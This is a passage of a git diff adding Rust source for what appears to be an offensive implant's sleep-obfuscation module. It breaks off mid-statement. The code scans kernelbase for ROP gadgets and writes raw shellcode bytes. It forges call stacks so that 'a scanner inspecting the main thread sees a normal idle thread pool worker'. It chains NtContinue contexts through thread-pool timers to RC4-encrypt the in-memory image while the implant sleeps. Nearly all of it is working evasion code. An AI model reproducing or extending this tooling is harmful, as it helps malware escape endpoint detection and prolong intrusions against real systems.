`ctx.Rip` to the gadget address, and places `target` in the register that +/// the gadget jumps through (e.g., if the gadget is `jmp rdi`, sets `ctx.Rdi = target`). +/// +/// # Arguments +/// +/// * `gadget` - The JMP gadget to route through. +/// * `ctx` - The CONTEXT to configure. +/// * `target` - The actual NT function address to call. +/// +/// # Safety +/// +/// `ctx` must be a valid mutable CONTEXT. `target` must be a valid function pointer. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn jmp_ctx(gadget: &JmpGadget, ctx: &mut CONTEXT, target: u64) { + ctx.Rip = gadget.addr; + match gadget.reg { + Reg::Rdi => ctx.Rdi = target, + Reg::R10 => ctx.R10 = target, + Reg::R11 => ctx.R11 = target, + Reg::R12 => ctx.R12 = target, + Reg::R13 => ctx.R13 = target, + Reg::R14 => ctx.R14 = target, + Reg::R15 => ctx.R15 = target, + } +} + +/// The kind of RBX redirect gadget found in kernelbase.dll. +/// +/// Determines the shellcode written by [`alloc_gadget_rbp`]: `call [rbx]` pushes a +/// return address that must be handled, while `jmp [rbx]` does not. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[derive(Clone, Copy, Debug)] +pub enum GadgetKind { + /// `FF 13` - `call [rbx]` (pushes return address, needs `sub [rsp], 2` prefix). + Call, + /// `FF 23` - `jmp [rbx]` (no push, simpler shellcode). + Jmp, +} + +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +impl GadgetKind { + /// Return the gadget-rbp shellcode bytes for this gadget kind. + /// + /// Both variants end with `mov rsp, rbp; ret` to restore the real stack pointer. + /// The `Call` variant prepends `sub [rsp], 2` to neutralize the pushed return address. + /// + /// # Returns + /// + /// A static byte slice containing the shellcode (4 bytes for `Jmp`, 9 bytes for `Call`). + pub fn bytes(self) -> &'static [u8] { + match self { + // call [rbx] variant (9 bytes): + // 48 83 2C 24 02 sub [rsp], 2 ; neutralize pushed return address + // 48 89 EC mov rsp, rbp ; restore original stack pointer + // C3 ret ; return to NtContinue for next chain step + GadgetKind::Call => &[0x48, 0x83, 0x2C, 0x24, 0x02, 0x48, 0x89, 0xEC, 0xC3], + // jmp [rbx] variant (4 bytes): + // 48 89 EC mov rsp, rbp ; restore original stack pointer + // C3 ret ; return to NtContinue for next chain step + GadgetKind::Jmp => &[0x48, 0x89, 0xEC, 0xC3], + } + } +} + +/// Detect whether kernelbase contains a `call [rbx]` or `jmp [rbx]` gadget. +/// +/// Checks for `FF 13` (`call [rbx]`) first, then `FF 23` (`jmp [rbx]`). +/// +/// # Arguments +/// +/// * `api` - Resolved API with `api.kernelbase.handle` pointing to a loaded kernelbase. +/// +/// # Returns +/// +/// The [`GadgetKind`] found, or `None` if neither gadget exists in kernelbase. +/// +/// # Safety +/// +/// `api.kernelbase.handle` must be a valid loaded module base. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn detect_gadget_kind(api: &Api) -> Option { + let kb_base = api.kernelbase.handle; + let (pdata, pdata_count) = uwd::stack::find_pdata(kb_base as *mut u8)?; + + if uwd::stack::find_gadget(kb_base, &[0xFF, 0x13], pdata, pdata_count).is_some() { + Some(GadgetKind::Call) + } else if uwd::stack::find_gadget(kb_base, &[0xFF, 0x23], pdata, pdata_count).is_some() { + Some(GadgetKind::Jmp) + } else { + None + } +} + +/// Allocate the gadget-rbp shellcode: two pages for the `mov rsp, rbp; ret` trampoline. +/// +/// Step 1) Allocate an RW page and write the shellcode (4 or 9 bytes depending on `kind`). +/// Step 2) Change the shellcode page to RX. +/// Step 3) Allocate an RW pointer page containing a pointer to the shellcode page. +/// +/// The RW pointer page address is returned - `ctx.Rbx` will point here. Since +/// `call/jmp [rbx]` dereferences `rbx`, it reads the pointer and jumps to the shellcode. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers. +/// * `kind` - Whether kernelbase uses `call [rbx]` or `jmp [rbx]`. +/// +/// # Returns +/// +/// `Some(ptr_page_addr)` with the RW pointer page address, or `None` on failure. +/// +/// # Safety +/// +/// `Api` function pointers must be resolved. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn alloc_gadget_rbp(api: &mut Api, kind: GadgetKind) -> Option { + let code = kind.bytes(); + + // Step 1) Allocate RW page and write shellcode + let mut code_size = code.len(); + let mut code_addr = null_mut(); + if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory( + -1isize as HANDLE, + &mut code_addr, + 0, + &mut code_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + api::log_info!(b"[COMMON] alloc_gadget_rbp: code page alloc failed"); + return None; + } + + api::util::memcopy(code_addr as *mut u8, code.as_ptr(), code.len() as u32); + + // Step 2) Change shellcode page to RX and lock in memory + let mut old_protect = 0; + if !NT_SUCCESS!(api.ntdll.NtProtectVirtualMemory( + -1isize as HANDLE, + &mut code_addr, + &mut code_size, + PAGE_EXECUTE_READ as u32, + &mut old_protect, + )) { + api::log_info!(b"[COMMON] alloc_gadget_rbp: code page RX failed"); + return None; + } + + api.ntdll + .NtLockVirtualMemory(-1isize as HANDLE, &mut code_addr, &mut code_size, VM_LOCK_1); + + // Step 3) Allocate RW pointer page (ctx.Rbx points here; call/jmp [rbx] dereferences it) + let mut ptr_size = size_of::(); + let mut ptr_addr = null_mut(); + if !NT_SUCCESS!(api.ntdll.NtAllocateVirtualMemory( + -1isize as HANDLE, + &mut ptr_addr, + 0, + &mut ptr_size, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE, + )) { + api::log_info!(b"[COMMON] alloc_gadget_rbp: pointer page alloc failed"); + return None; + } + + // Write pointer to shellcode at start of pointer page + (ptr_addr as *mut u64).write(code_addr as u64); + api.ntdll + .NtLockVirtualMemory(-1isize as HANDLE, &mut ptr_addr, &mut ptr_size, VM_LOCK_1); + + api::log_info!(b"[COMMON] alloc_gadget_rbp: ok", code_addr); + Some(ptr_addr as u64) +} + +/// Stack frame sizes for functions used in spoofed call chains. +/// +/// Computed from PE `.pdata` unwind information via the `uwd` crate. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[derive(Default, Debug, Clone, Copy)] +pub struct FrameSizes { + /// Frame size of `BaseThreadInitThunk` (kernel32). + pub base_thread_size: u32, + /// Frame size of `RtlUserThreadStart` (ntdll). + pub rtl_user_thread_size: u32, + /// Frame size of `EnumDateFormatsExA` (kernel32). + pub enum_date_size: u32, + /// Frame size of `RtlAcquireSRWLockExclusive` (ntdll). + pub rtl_acquire_srw_size: u32, +} + +/// Resolve stack frame sizes for the four functions used in spoofed call chains. +/// +/// Parses `.pdata` (exception directory) of ntdll and kernel32 to compute unwind +/// frame sizes for `RtlUserThreadStart`, `BaseThreadInitThunk`, `EnumDateFormatsExA`, +/// and `RtlAcquireSRWLockExclusive`. +/// +/// # Arguments +/// +/// * `api` - Resolved API with module handles for ntdll and kernel32, plus function pointers +/// for `RtlUserThreadStart`, `BaseThreadInitThunk`, `EnumDateFormatsExA`, and +/// `RtlAcquireSRWLockExclusive`. +/// +/// # Returns +/// +/// `Some(FrameSizes)` with all four frame sizes, or `None` if any lookup fails. +/// +/// # Safety +/// +/// `Api` module handles must point to valid loaded DLLs. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn resolve_frame_sizes(api: &Api) -> Option { + let ntdll_base = api.ntdll.handle; + let k32_base = api.kernel32.handle; + + // Step 1) Find .pdata (exception directory) for both modules + let (ntdll_pdata, ntdll_count) = uwd::stack::find_pdata(ntdll_base as *mut u8)?; + let (k32_pdata, k32_count) = uwd::stack::find_pdata(k32_base as *mut u8)?; + + // Step 2) Resolve RtlUserThreadStart frame size from ntdll + let rtl_user_rva = (api.ntdll.RtlUserThreadStart_ptr as usize - ntdll_base) as u32; + let rtl_user_entry = uwd::stack::find_runtime_entry(rtl_user_rva, ntdll_pdata, ntdll_count)?; + let rtl_user_thread_size = uwd::stack::get_frame_size(ntdll_base, &*rtl_user_entry)?; + + // Step 3) Resolve BaseThreadInitThunk frame size from kernel32 + let base_thread_rva = (api.kernel32.BaseThreadInitThunk_ptr as usize - k32_base) as u32; + let base_thread_entry = uwd::stack::find_runtime_entry(base_thread_rva, k32_pdata, k32_count)?; + let base_thread_size = uwd::stack::get_frame_size(k32_base, &*base_thread_entry)?; + + // Step 4) Resolve EnumDateFormatsExA frame size from kernel32 + let enum_date_rva = (api.kernel32.EnumDateFormatsExA_ptr as usize - k32_base) as u32; + let enum_date_entry = uwd::stack::find_runtime_entry(enum_date_rva, k32_pdata, k32_count)?; + let enum_date_size = uwd::stack::get_frame_size(k32_base, &*enum_date_entry)?; + + // Step 5) Resolve RtlAcquireSRWLockExclusive frame size from ntdll + let rtl_acquire_rva = (api.ntdll.RtlAcquireSRWLockExclusive_ptr as usize - ntdll_base) as u32; + let rtl_acquire_entry = + uwd::stack::find_runtime_entry(rtl_acquire_rva, ntdll_pdata, ntdll_count)?; + let rtl_acquire_srw_size = uwd::stack::get_frame_size(ntdll_base, &*rtl_acquire_entry)?; + + Some(FrameSizes { + base_thread_size, + rtl_user_thread_size, + enum_date_size, + rtl_acquire_srw_size, + }) +} + +/// Scan kernelbase for an `add rsp, 0x58; ret` gadget (`48 83 C4 58 C3`). +/// +/// # Arguments +/// +/// * `api` - Resolved API with `api.kernelbase.handle` pointing to a loaded kernelbase. +/// +/// # Returns +/// +/// `Some((gadget_addr, frame_size))` or `None` if the gadget is not found. +/// +/// # Safety +/// +/// `api.kernelbase.handle` must be a valid loaded module base. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn scan_add_rsp_ret(api: &Api) -> Option<(u64, u32)> { + let kb_base = api.kernelbase.handle; + let (pdata, pdata_count) = uwd::stack::find_pdata(kb_base as *mut u8)?; + + let result = uwd::stack::find_gadget( + kb_base, + &[0x48, 0x83, 0xC4, 0x58, 0xC3], // add rsp, 0x58; ret + pdata, + pdata_count, + )?; + + Some((result.address as u64, result.frame_size)) +} + +/// Scan kernelbase for a `call [rbx]` (`FF 13`) or `jmp [rbx]` (`FF 23`) gadget. +/// +/// # Arguments +/// +/// * `api` - Resolved API with `api.kernelbase.handle` pointing to a loaded kernelbase. +/// * `kind` - Which gadget pattern to scan for. +/// +/// # Returns +/// +/// `Some((gadget_addr, frame_size))` or `None` if the gadget is not found. +/// +/// # Safety +/// +/// `api.kernelbase.handle` must be a valid loaded module base. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn scan_jmp_rbx(api: &Api, kind: GadgetKind) -> Option<(u64, u32)> { + let kb_base = api.kernelbase.handle; + let (pdata, pdata_count) = uwd::stack::find_pdata(kb_base as *mut u8)?; + + let pattern = match kind { + GadgetKind::Call => &[0xFF, 0x13][..], // call [rbx] + GadgetKind::Jmp => &[0xFF, 0x23][..], // jmp [rbx] + }; + + let result = uwd::stack::find_gadget(kb_base, pattern, pdata, pdata_count)?; + Some((result.address as u64, result.frame_size)) +} + +/// Complete stack spoofing configuration: gadgets, frame sizes, and addresses. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[derive(Clone, Copy, Debug)] +pub struct SpoofConfig { + /// Pointer page for the `mov rsp, rbp; ret` shellcode (ctx.Rbx target). + pub gadget_rbp: u64, + /// Whether the RBX gadget is `call [rbx]` or `jmp [rbx]`. + pub gadget_kind: GadgetKind, + /// Stack frame sizes for spoofed return address chain functions. + pub frames: FrameSizes, + /// Address of `add rsp, 0x58; ret` gadget in kernelbase. + pub add_rsp_addr: u64, + /// Frame size of the function containing the `add rsp` gadget. + pub add_rsp_size: u32, + /// Address of `call/jmp [rbx]` gadget in kernelbase. + pub jmp_rbx_addr: u64, + /// Frame size of the function containing the `jmp/call [rbx]` gadget. + pub jmp_rbx_size: u32, +} + +/// Initialize the full stack spoofing configuration. +/// +/// # Arguments +/// +/// * `api` - Resolved API with all module handles and function pointers. +/// +/// # Returns +/// +/// `Some(SpoofConfig)` with all resolved gadgets and frame sizes, or `None` if any step fails. +/// +/// # Safety +/// +/// All `Api` module handles and function pointers must be resolved. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn init_spoof_config(api: &mut Api) -> Option { + // Step 1) Detect call [rbx] vs jmp [rbx] gadget kind in kernelbase + let kind = detect_gadget_kind(api)?; + api::log_info!(b"[COMMON] gadget kind detected"); + + // Step 2) Allocate the gadget-rbp shellcode pages (mov rsp, rbp; ret) + let gadget_rbp = alloc_gadget_rbp(api, kind)?; + api::log_info!(b"[COMMON] gadget_rbp allocated"); + + // Step 3) Resolve frame sizes from PE .pdata unwind info + let frames = resolve_frame_sizes(api)?; + api::log_info!(b"[COMMON] frame sizes resolved"); + + // Step 4) Find add rsp, 0x58; ret gadget in kernelbase + let (add_rsp_addr, add_rsp_size) = scan_add_rsp_ret(api)?; + api::log_info!(b"[COMMON] add_rsp gadget found"); + + // Step 5) Find call/jmp [rbx] gadget in kernelbase + let (jmp_rbx_addr, jmp_rbx_size) = scan_jmp_rbx(api, kind)?; + api::log_info!(b"[COMMON] jmp_rbx gadget found"); + + Some(SpoofConfig { + gadget_rbp, + gadget_kind: kind, + frames, + add_rsp_addr, + add_rsp_size, + jmp_rbx_addr, + jmp_rbx_size, + }) +} + +/// Build a spoofed CONTEXT for the main thread that looks like an idle worker. +/// +/// Sets `Rip` to `ZwWaitForWorkViaWorkerFactory` and constructs a fake stack: +/// ```text +/// Rsp --> RtlAcquireSRWLockExclusive + 0x17 +/// (srw_frame_size padding) +/// BaseThreadInitThunk + 0x14 +/// (base_thread_frame_size padding) +/// RtlUserThreadStart + 0x21 +/// (rtl_user_frame_size padding) +/// 0x0000000000000000 ; stack terminator +/// ``` +/// +/// A scanner inspecting the main thread sees a normal idle thread pool worker. +/// +/// # Arguments +/// +/// * `api` - Resolved API with function pointers for the spoofed call chain targets. +/// * `scfg` - Stack spoofing config with resolved frame sizes. +/// * `ctx` - The real thread context (used to derive Rsp for the spoofed stack). +/// +/// # Returns +/// +/// A new `CONTEXT` with `Rip` pointing at `ZwWaitForWorkViaWorkerFactory` and a +/// fake stack that mimics an idle Windows worker thread. +/// +/// # Safety +/// +/// The spoofed stack area (`ctx.Rsp - 0x5000`) must be mapped writable memory. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn spoof_context(api: &Api, scfg: &SpoofConfig, ctx: CONTEXT) -> CONTEXT { + let mut ctx_spoof: CONTEXT = zeroed(); + ctx_spoof.ContextFlags = CONTEXT_FULL; + + // Step 1) Set Rip to look like an idle thread pool worker + ctx_spoof.Rip = api.ntdll.ZwWaitForWorkViaWorkerFactory_ptr as u64; + + // Step 2) Position Rsp well below real stack to avoid overlap + let f = &scfg.frames; + ctx_spoof.Rsp = (ctx.Rsp - 0x1000 * 5) + - (f.rtl_user_thread_size + f.base_thread_size + f.rtl_acquire_srw_size + 32) as u64; + + // Step 3) Write fake return address chain (bottom-up, stack grows down): + // [Rsp+0] -> RtlAcquireSRWLockExclusive+0x17 (lock acquisition) + *(ctx_spoof.Rsp as *mut u64) = api.ntdll.RtlAcquireSRWLockExclusive_ptr as u64 + 0x17; + + // [Rsp + srw_size + 8] -> BaseThreadInitThunk+0x14 (thread init) + *((ctx_spoof.Rsp + (f.rtl_acquire_srw_size + 8) as u64) as *mut u64) = + api.kernel32.BaseThreadInitThunk_ptr as u64 + 0x14; + + // [Rsp + srw + base + 16] -> RtlUserThreadStart+0x21 (thread entry) + *((ctx_spoof.Rsp + (f.rtl_acquire_srw_size + f.base_thread_size + 16) as u64) as *mut u64) = + api.ntdll.RtlUserThreadStart_ptr as u64 + 0x21; + + // [Rsp + srw + base + rtl + 24] -> 0 (stack terminator, unwinder stops here) + *((ctx_spoof.Rsp + + (f.rtl_acquire_srw_size + f.base_thread_size + f.rtl_user_thread_size + 24) as u64) + as *mut u64) = 0; + + ctx_spoof +} + +/// Dispatch variant for stack layout spoofing. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub enum SpoofKind { + /// Ekko: timer-based, writes nothing special at stack top. + Timer, + /// Zilean: wait-based, same as Timer. + Wait, + /// Foliage: APC-based, writes `NtTestAlert` at original Rsp before spoofing. + Foliage, +} + +/// Build a fake call stack for each of the 10 chain contexts. +/// +/// Plants return addresses that make the stack look like a normal Win32 API callback +/// thread. After the target NT function returns, the stack unwinds through: +/// +/// ```text +/// ctx.Rsp --> add_rsp_ret gadget ; "return" from target function +/// (add_rsp_size padding) ; frame for add_rsp gadget +/// jmp_rbx gadget ; "return" from add_rsp +/// (jmp_rbx_size padding) ; frame for jmp_rbx gadget +/// EnumDateFormatsExA + 0x17 ; looks like API callback +/// (enum_date_size padding) +/// BaseThreadInitThunk + 0x14 ; looks like thread init +/// (base_thread_size padding) +/// RtlUserThreadStart + 0x21 ; looks like thread entry +/// 0x0000000000000000 ; stack terminator +/// ``` +/// +/// For `SpoofKind::Foliage`, writes `NtTestAlert` at the original Rsp before +/// relocating, matching the APC delivery call chain. +/// +/// # Arguments +/// +/// * `api` - Resolved API with function pointers for the spoofed return addresses. +/// * `ctxs` - Array of 10 CONTEXTs to apply the fake stack layout to. +/// * `scfg` - Stack spoofing config with gadget addresses and frame sizes. +/// * `kind` - The dispatch variant (`Timer`, `Wait`, or `Foliage`). +/// +/// # Safety +/// +/// The stack area below each context's Rsp must be mapped writable memory. +/// The spoofing config addresses must be valid. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[link_section = ".text$D"] +pub unsafe fn spoof_stack_layout( + api: &Api, + ctxs: &mut [CONTEXT; 10], + scfg: &SpoofConfig, + kind: SpoofKind, +) { + let f = &scfg.frames; + + let total = (f.rtl_user_thread_size + + f.base_thread_size + + f.enum_date_size + + scfg.jmp_rbx_size + + scfg.add_rsp_size + + 48) as u64; + + for ctx in ctxs.iter_mut() { + // Step 1) Save original Rsp in Rbp (restored later by gadget_rbp shellcode). + // For Foliage, also write NtTestAlert at stack top (APC delivery goes through + // NtTestAlert, so the call chain looks natural for an APC thread). + match kind { + SpoofKind::Timer | SpoofKind::Wait => { + ctx.Rbp = ctx.Rsp; + } + SpoofKind::Foliage => { + (ctx.Rsp as *mut u64).write(api.ntdll.NtTestAlert_ptr as u64); + ctx.Rbp = ctx.Rsp; + } + } + + // Step 2) Set Rbx to the pointer page (call/jmp [rbx] -> shellcode page) + ctx.Rbx = scfg.gadget_rbp; + + // Step 3) Relocate Rsp far below to make room for the fake stack layout + ctx.Rsp = (ctx.Rsp - 0x1000 * 10) - total; + + // Ensure 16-byte stack alignment + if ctx.Rsp % 16 != 0 { + ctx.Rsp -= 8; + } + + // Step 4) Write the fake return address chain (stack grows down, lowest address at top): + // [Rsp+0]: add_rsp_ret gadget - target function "returns" here + *(ctx.Rsp as *mut u64) = scfg.add_rsp_addr; + + // [Rsp + add_rsp_size + 8]: jmp_rbx gadget - add_rsp "returns" here + *((ctx.Rsp + (scfg.add_rsp_size + 8) as u64) as *mut u64) = scfg.jmp_rbx_addr; + + // [Rsp + add_rsp + jmp_rbx + 16]: EnumDateFormatsExA+0x17 - looks like API callback + *((ctx.Rsp + (scfg.add_rsp_size + scfg.jmp_rbx_size + 16) as u64) as *mut u64) = + api.kernel32.EnumDateFormatsExA_ptr as u64 + 0x17; + + // [Rsp + ... + enum_date + 24]: BaseThreadInitThunk+0x14 - thread init frame + *((ctx.Rsp + (f.enum_date_size + scfg.jmp_rbx_size + scfg.add_rsp_size + 24) as u64) + as *mut u64) = api.kernel32.BaseThreadInitThunk_ptr as u64 + 0x14; + + // [Rsp + ... + base_thread + 32]: RtlUserThreadStart+0x21 - thread entry frame + *((ctx.Rsp + + (f.enum_date_size + f.base_thread_size + scfg.jmp_rbx_size + scfg.add_rsp_size + 32) + as u64) as *mut u64) = api.ntdll.RtlUserThreadStart_ptr as u64 + 0x21; + + // [Rsp + ... + rtl_user + 40]: 0 - stack terminator (unwinder stops here) + *((ctx.Rsp + + (f.enum_date_size + + f.base_thread_size + + f.rtl_user_thread_size + + scfg.jmp_rbx_size + + scfg.add_rsp_size + + 40) as u64) as *mut u64) = 0; + } +} + +/// Read the current stack pointer (RSP) via inline assembly. +/// +/// # Returns +/// +/// The current value of the RSP register. +#[cfg(any( + feature = "sleep-ekko", + feature = "sleep-foliage", + feature = "sleep-zilean" +))] +#[inline] +pub fn current_rsp() -> u64 { + let rsp: u64; + unsafe { core::arch::asm!("mov {}, rsp", out(reg) rsp) }; + rsp +} diff --git a/crates/hypnus/src/ekko.rs b/crates/hypnus/src/ekko.rs new file mode 100644 index 0000000..4c2f43f --- /dev/null +++ b/crates/hypnus/src/ekko.rs @@ -0,0 +1,362 @@ +//! Timer-based sleep obfuscation using Windows thread pool timers. +//! +//! Ekko schedules the 10-step NtContinue context chain as staggered timer callbacks +//! via `TpAllocTimer`/`TpSetTimer` on a single-threaded pool. Each timer fires a +//! callback stub that calls `NtContinue` to load the next pre-built `CONTEXT`, driving +//! the encrypt-sleep-decrypt sequence without any explicit control flow from our code. +//! +//! Uses 3 events: `capture_done`, `start`, and `done`. + +use { + crate::common::{ + alloc_callback, alloc_set_event_stub, alloc_trampoline, current_rsp, find_jmp_gadgets, + init_spoof_config, jmp_ctx, set_valid_call_targets, spoof_context, spoof_stack_layout, + SpoofKind, + }, + api::{api::Api, windows::*, NT_SUCCESS}, + core::{ffi::c_void, mem::zeroed, ptr::null_mut}, +}; + +/// Register all NT function pointers used by Ekko as valid CFG call targets. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (must include ntdll handles). +#[link_section = ".text$D"] +#[rustfmt::skip] +unsafe fn handle_cfg(api: &mut Api) { + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtCreateEvent_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocPool_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolStackInformation_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMinThreads_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetPoolMaxThreads_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.RtlCaptureContext_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpAllocTimer_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.TpSetTimer_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtSetEvent_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtWaitForSingleObject_ptr as *mut c_void); + set_valid_call_targets(api, api.ntdll.handle as _, api.ntdll.NtContinue_ptr as *mut c_void); +} + +/// Execute the Ekko sleep obfuscation chain using thread pool timers. +/// +/// Sets up a single-threaded pool, captures the worker's context via a trampoline +/// timer, clones it into 10 CONTEXTs for the encrypt-sleep-decrypt chain, applies +/// JMP gadget indirection and stack spoofing, then schedules all 10 as staggered +/// timer callbacks. The main thread blocks on `NtSignalAndWaitForSingleObject` until +/// the chain completes. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers and sleep context (`api.sleep` must contain +/// valid image base, length, and sleep duration). +/// +/// # Safety +/// +/// All `Api` function pointers must be resolved. The caller must ensure the process +/// image base/length in `api.sleep` are valid and that no other thread is modifying +/// the image concurrently. +#[link_section = ".text$D"] +#[rustfmt::skip] +unsafe fn ekko(api: &mut Api) { + api::log_info!(b"[EKKO] ekko: enter"); + + handle_cfg(api); + + let scfg = init_spoof_config(api); + if scfg.is_none() { + api::log_info!(b"[EKKO] init_spoof_config failed"); + return; + } + let scfg = scfg.unwrap(); + + let jmp_gadget = find_jmp_gadgets(api); + if jmp_gadget.is_none() { + api::log_info!(b"[EKKO] find_jmp_gadgets failed"); + return; + } + let jmp_gadget = jmp_gadget.unwrap(); + + let trampoline = alloc_trampoline(api); + if trampoline.is_none() { + api::log_info!(b"[EKKO] trampoline allocation failed"); + return; + } + + let callback = alloc_callback(api); + if callback.is_none() { + api::log_info!(b"[EKKO] callback allocation failed"); + return; + } + + // events[0] = capture_done, events[1] = start, events[2] = done + let mut events = [null_mut(); 3]; + for event in &mut events { + let status = api.ntdll.NtCreateEvent( + &mut *event, EVENT_ALL_ACCESS, null_mut(), + EVENT_TYPE::NotificationEvent, 0, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] NtCreateEvent failed", status); + return; + } + } + + // Create a single-threaded pool with 512KB stack + let mut pool = null_mut(); + let status = api.ntdll.TpAllocPool(&mut pool, null_mut()); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] TpAllocPool failed", status); + return; + } + + let mut stack = TP_POOL_STACK_INFORMATION { StackCommit: 0x80000, StackReserve: 0x80000 }; + let status = api.ntdll.TpSetPoolStackInformation(pool, &mut stack); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] TpSetPoolStackInformation failed", status); + return; + } + + api.ntdll.TpSetPoolMinThreads(pool, 1); + api.ntdll.TpSetPoolMaxThreads(pool, 1); + + let mut env = TP_CALLBACK_ENVIRON_V3 { Pool: pool, ..Default::default() }; + + // Schedule trampoline timer to capture worker thread context via RtlCaptureContext. + // P1Home stores the RtlCaptureContext pointer; the trampoline stub reads it via jmp [rcx]. + let mut timer_ctx = null_mut(); + let mut ctx_init: CONTEXT = zeroed(); + ctx_init.ContextFlags = CONTEXT_FULL; + ctx_init.P1Home = api.ntdll.RtlCaptureContext_ptr as u64; + + let status = api.ntdll.TpAllocTimer( + &mut timer_ctx, + trampoline.unwrap() as *mut c_void, + &mut ctx_init as *mut _ as *mut c_void, + &mut env, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] TpAllocTimer [RtlCaptureContext] failed", status); + return; + } + + // Fire trampoline at 100ms + let mut delay = zeroed::(); + delay.QuadPart = -(100i64 * 10_000); + api.ntdll.TpSetTimer(timer_ctx, &mut delay, 0, 0); + + // Schedule set_event_stub timer to signal capture_done at 200ms + let set_event_stub = alloc_set_event_stub(api); + if set_event_stub.is_none() { + api::log_info!(b"[EKKO] alloc_set_event_stub failed"); + return; + } + + let mut timer_event = null_mut(); + let status = api.ntdll.TpAllocTimer( + &mut timer_event, set_event_stub.unwrap() as *mut c_void, events[0], &mut env, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] TpAllocTimer [NtSetEvent] failed", status); + return; + } + + delay.QuadPart = -(200i64 * 10_000); + api.ntdll.TpSetTimer(timer_event, &mut delay, 0, 0); + + // Block until the worker context is captured + let status = api.ntdll.NtWaitForSingleObject(events[0], 0, null_mut()); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] NtWaitForSingleObject [capture] failed", status); + } + api::log_info!(b"[EKKO] context captured"); + + // Clone captured context into 10 copies; set Rax = NtContinue for each + // and subtract 8 from Rsp to account for the callback stub's stack usage + let mut ctxs = [ctx_init; 10]; + for ctx in &mut ctxs { + ctx.Rax = api.ntdll.NtContinue_ptr as u64; + ctx.Rsp -= 8; + } + + // Get a real handle to the current thread (fiber's underlying thread) + // -1 = current process, -2 = current thread (pseudo-handles) + let mut h_thread = null_mut(); + let status = api.ntdll.NtDuplicateObject( + -1isize as HANDLE, -2isize as HANDLE, -1isize as HANDLE, + &mut h_thread, 0, 0, DUPLICATE_SAME_ACCESS, + ); + if !NT_SUCCESS!(status) { + api::log_info!(b"[EKKO] NtDuplicateObject failed", status); + } + + // Build spoofed main-thread context (Rip = ZwWaitForWorkViaWorkerFactory) + ctx_init.Rsp = current_rsp(); + let mut ctx_spoof = spoof_context(api, &scfg, ctx_init); + + let mut base = api.sleep.buffer as PVOID; + let mut size = api.sleep.length; + let mut old_protect: DWORD = 0; + let mut ctx_backup: CONTEXT = zeroed(); + ctx_backup.ContextFlags = CONTEXT_FULL; + + // Step 0: NtWaitForSingleObject(start_event) - gate until main signals + jmp_ctx(&jmp_gadget, &mut ctxs[0], api.ntdll.NtWaitForSingleObject_ptr as u64); + ctxs[0].Rcx = events[1] as u64; + ctxs[0].Rdx = 0; + ctxs[0].R8 = 0; + + // Step 1: NtProtectVirtualMemory(RW) - make image writable + jmp_ctx(&jmp_gadget, &mut ctxs[1], api.ntdll.NtProtectVirtualMemory_ptr as u64); + ctxs[1].Rcx = -1isize as u64; + ctxs[1].Rdx = &mut base as *mut _ as u64; + ctxs[1].R8 = &mut size as *mut _ as u64; + ctxs[1].R9 = PAGE_READWRITE as u64; + + // Step 2: SystemFunction040 (RC4 encrypt) - encrypt image in-place + jmp_ctx(&jmp_gadget, &mut ctxs[2], api.advapi.SystemFunction040_ptr as u64); + ctxs[2].Rcx = api.sleep.buffer as u64; + ctxs[2].Rdx = api.sleep.length as u64; + ctxs[2].R8 = 0; + + // Step 3: NtGetContextThread - save real main thread context to backup + jmp_ctx(&jmp_gadget, &mut 